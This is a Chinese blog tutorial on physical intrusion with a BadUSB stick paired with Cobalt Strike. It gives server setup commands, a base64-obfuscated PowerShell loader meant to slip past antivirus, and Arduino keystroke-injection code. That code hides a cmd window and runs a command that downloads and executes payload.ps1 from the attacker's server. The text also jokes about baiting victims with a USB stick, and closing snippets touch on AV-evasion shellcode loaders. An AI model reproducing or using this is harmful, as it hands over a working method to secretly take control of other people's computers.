【物理渗透】使用BadUSB配合CS免杀实现上线

VSole2021-12-24 13:45:57

BadUSB介绍

            

        随着设备不断的升级改进,USB 能够连接到许多不同的设备,包括鼠标、键盘、相机、摄像头、无线网络设备等。但不幸的是,USB 的设计方式产生了这个 BadUSB 安全漏洞。

BadUSB 漏洞是由安全研究人员 Karsten Nohl 和 Jakob Lell 在 2014 年黑帽会议上首次发现并暴露出来的,这也就让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。

       就狭义来说,BadUSB是指形似 U 盘的设备,内部的电路在上电之后会被系统识别为键盘,此时该设备内部的芯片开始与电脑进行键盘通讯,仿照人的输入习惯,来操作电脑,以此达到骇入电脑的目的。

        就广义来说,BadUSB是指一切会被电脑识别为 HID 设备的,外观却不像键盘的电子设备。现阶段有的 badusb 是形似数据线的,有的则是手机加定制内核,以发挥 BadUSB 的作用,更有甚者,将 BadUSB 开发为模块,可以嵌入任意的带 USB 接口的设备中。

       badusb在红队作战中是非常常见的物理渗透手段,毕竟不是谁都能抵得住一个u盘的诱惑的,那么再加上500个g “学习”视频勒?你防得住吗?

准备工作

    购买 badusb 、 烧录器 、 云服务器;共计开销大概二百五

①.在服务器中上传cs、screen,用于制作cs免杀马等

sftp root@IPlsput \xxx\cs.zip
ssh root@IPapt updateapt install unzipunzip cs.zipapt install default-jdkcd cschmod 777 teamserversudo ./teamserver IP password
apt install screenscreen -S test

②.下载并安装开发环境Arduino

由于 Arduino 的易用性,现阶段最常用的 BadUSB 还是基于 Arduino 进行设计的

下载地址:https://www.arduino.cc/en/software (有Windows、Linux、Mac版本,PS:建议别下最新的)

③.通过 zading 软件在电脑上安装对应的烧录器驱动

首先需要让电脑识别到我们的BadUSB设备(PS:需要找老的type-a线,新的我试过去貌似都无法识别)

然后打开 zading 软件,点击 Options - List All Devices,找到我们的 usbasp 按照下图设置好驱动

当其在设备管理器中显示为 libusb-win32 devices 设备时,就意味着安装好了烧录器驱动

④.下载并安装烧录工具 progisp

网盘链接(提取码:xrb9)

CS免杀操作

制作CS免杀?

将其base64编码处理一下

Set-StrictMode -Version 2
$a1 = 'base64编码'$a2 = 'base64编码'$a3 = 'base64编码'$a4 = 'base64编码'$a5 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($a1+$a2+$a3+$a4))
If ([IntPtr]::size -eq 8) {  start-job { param($a) IEX $a } -RunAs32 -Argument $a5 | wait-job | Receive-Job}else {  IEX $a5}

接着把文件名改为全大写的,然后通过CS上传至我们的公网服务器上(攻击 - 钓鱼攻击 - 文件下载),实现全程无落地✈

然后将我们需要的操作搞成思路,形成最基础的想法,接着将思路写成代码,通过 Arduino 编译生成hex文件,最后利用工具 progisp 烧录到我们的BadUSB中

附上部分关键代码

//payloadif (onetimeOrForever == 0){  delay(1000);  Keyboard.begin();//开始键盘通讯   delay(1500);//延时   Keyboard.press(KEY_LEFT_GUI);//win键   delay(500);  Keyboard.press('r');//r键  delay(500);   Keyboard.release(KEY_LEFT_GUI);  Keyboard.release('r');  delay(500);  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法  Keyboard.release(KEY_CAPS_LOCK);  Keyboard.println("CMD /t:01 /k @ECHO OFF && MODE CON:cols=15 lines=1");   //使用最小化隐藏cmd窗口  //cmd /c start /minCMD /C START /MIN POWERSHELL -W HIDDEN  delay(500);  Keyboard.press(KEY_RETURN);   Keyboard.release(KEY_RETURN);   delay(1300);  Keyboard.println("echo set-alias -name rookie -value Invoke-Expression;rookie(new-object net.webclient).downloadstring('http://IP/payload.ps1') | powershell -");  Keyboard.press(KEY_RETURN);   Keyboard.release(KEY_RETURN);   Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法  Keyboard.release(KEY_CAPS_LOCK);  Keyboard.end();//结束键盘通讯    delay(1000);  Keyboard.begin();//开始键盘通讯   delay(1500);//延时   Keyboard.press(KEY_LEFT_GUI);//win键   delay(500);  Keyboard.press('r');//r键  delay(500);   Keyboard.release(KEY_LEFT_GUI);  Keyboard.release('r');  delay(500);  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法  Keyboard.release(KEY_CAPS_LOCK);  Keyboard.println("notepad.exe");    //打开记事本  delay(500);  Keyboard.println("                                   $$$$ ");  delay(500);  Keyboard.println("                               $$         $$");  Keyboard.println("                               $$         $$");  Keyboard.println("                               $$         $$");  Keyboard.println("                               $$         $$");  Keyboard.println("                               $$         $$");  Keyboard.println("                               $$         $$");  Keyboard.println("                        $$$$$$         $$$$$$");  Keyboard.println("   $$$$$$     $$         $$         $$        $$$$");  Keyboard.println("   $$         $$$$         $$         $$        $$    $$");  Keyboard.println("   $$             $$         $$         $$        $$        $$");  Keyboard.println("        $$        $$                                 $$         $$");  Keyboard.println("          $$$    $$                                              $$");  Keyboard.println("            $$                                                      $$");  Keyboard.println("              $$$                                                  $$");  Keyboard.println("                $$                                                  $$");  Keyboard.println("                  $$$                                              $$");  Keyboard.println("                    $$                                          $$$");  Keyboard.println("                      $$$                                      $$");  Keyboard.println("                        $$                                      $$");  Keyboard.println("                          $$$                              $$$");  Keyboard.println("                            $$                              $$");  Keyboard.println("                            $$$$$$$$$$$$$$$$$$$$");  delay(500);  Keyboard.press(KEY_RETURN);   Keyboard.release(KEY_RETURN);  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法  Keyboard.release(KEY_CAPS_LOCK);  Keyboard.end();//结束键盘通讯

至此,我们的BadUSB配合CS免杀上线就已完工✌

badusb yyds!

在吗?好兄弟,我想在你电脑拷贝点"学习"资料,我好晚上学习一下,插上我的u盘可以吗?

 注:此文章仅限于安全研究,违法犯罪与作者无关!

免杀badusb
本作品采用《CC 协议》,转载必须注明作者和本文链接
随着设备不断的升级改进,USB 能够连接到许多不同的设备,包括鼠标、键盘、相机、摄像头、无线网络设备等。
验证子域邮箱名Invoke-DomainHarvestOWA-ExchHostname -Domain -UserList .\userName.txt -OutFile sprayed-ews-creds.txt. Office 365近源渗透物理渗透、物理攻击、近源渗透,这几个的意思都是在接近目标进行安全测试。Wi-Fi网线没有终端准入控制,直接插网线 DHCP 获取 IP。Bad USBBlack Hat 上提出 Bad USB。社会工程学在信息收集过程中就开始。钓鱼本质是利用人的信任。Windows 主机FTP服务端开启 FTP 服务。使用 certutil 下载的文件会原封不动在?目录下保存一份,文件名位随机字符,使用 delete 可以删除刚下载的缓存。
在红队中的打点也是这个概念,不管是通过 0day 还是 nday、亦或是利用钓鱼、社工、近源等等,最终的目的都是为了进入到目标的内网里。同时结合目前的国内情况来看,关于这些 0day 和 nday 的详情以及相应的利用工具也会越来越小范围得被传播,即使有些会被大范围传播,但一些内部版、增强版的工具还是会小范围的传播。
打点或者说建立据点、最初入口,都是一个意思,这就类似于古代攻打城墙,不管是通过直接正面撞城门还是翻城墙、亦或是挖地道、利用间谍从内部打开城门等等方法,最终的目的都是为了进入到城墙里。
0X01起源在攻防演练中通过运行恶意代码连接C2是最常用的手段,但是由于对抗程度的提升。以360、天擎为代表的杀毒软件针对信任链的检测,已经变得愈来愈成熟。这里我们可以理解为,攻击者通过利用"白加黑"这种攻击方法。当攻击者通过社工钓鱼的手段,使得目标下载恶意的文件到目标自己的计算机上,并点击运行白文件时,该文件会在运行时执行恶意DLL。
Bypass_AV msf,ShellCode加载器 ,shellcode执行程序 ,360&火绒&Windows Defender代码够简单,估计要不了多久就进特征库了,被了再去改几个特征码照样又可以,作者的github保持更新,可以去瞅瞅。测试可以国内软?注意:ShellCode 需要是64位的加载器将生成的ShellCode 填至 Bypass_AV.py 里的 ShellCode = '''ShellCode''' 处注意:保留原始ShellCode 里的双引号 "示例:最终格式:打包成可执行程序编译Python 3.8.6pyinstaller 4.7pip install pyinstaller
Bypass_AV msf,ShellCode加载器 ,shellcode执行程序 ,360&火绒&Windows Defender。代码够简单,估计要不了多久就进特征库了,被了再去改几个特征码照样又可以,保持更新。
技术有一套
2022-07-20 09:45:45
方式可能是上面的两种方式,看情况。动态行为,运行中执行的某些行为被杀毒软件拦截报读。不同工具之前局别是使用的分割算法不同,查找特征码的效果不同。
,又叫杀毒技术,是反病毒,反间谍的对立面,是一种能使病毒或木马免于被杀毒软件查杀的软件。它除了使病毒木马免于被查杀外,还可以扩增病毒木马的功能,改变病毒木马的行为。的基本特征是破坏特征,有可能是行为特征,只要破坏了病毒与木马所固有的特征,并保证其原有功能没有改变,一次就能完成了。
方式可能是上面的两种方式,看情况。动态行为,运行中执行的某些行为被杀毒软件拦截报读。不同工具之前局别是使用的分割算法不同,查找特征码的效果不同。然后继续测试另外的连锁条件,直到找到最后一个连锁条件,抹掉后,整个文件了,则说明特征代码被定为完毕了,所以VIRTEST绝对可以精确的定位出所有的复合特征。直到定位到某个函数或者多个函数,进入3。有,单独检查该文件或者数据,方法从1开始。
VSole
网络安全专家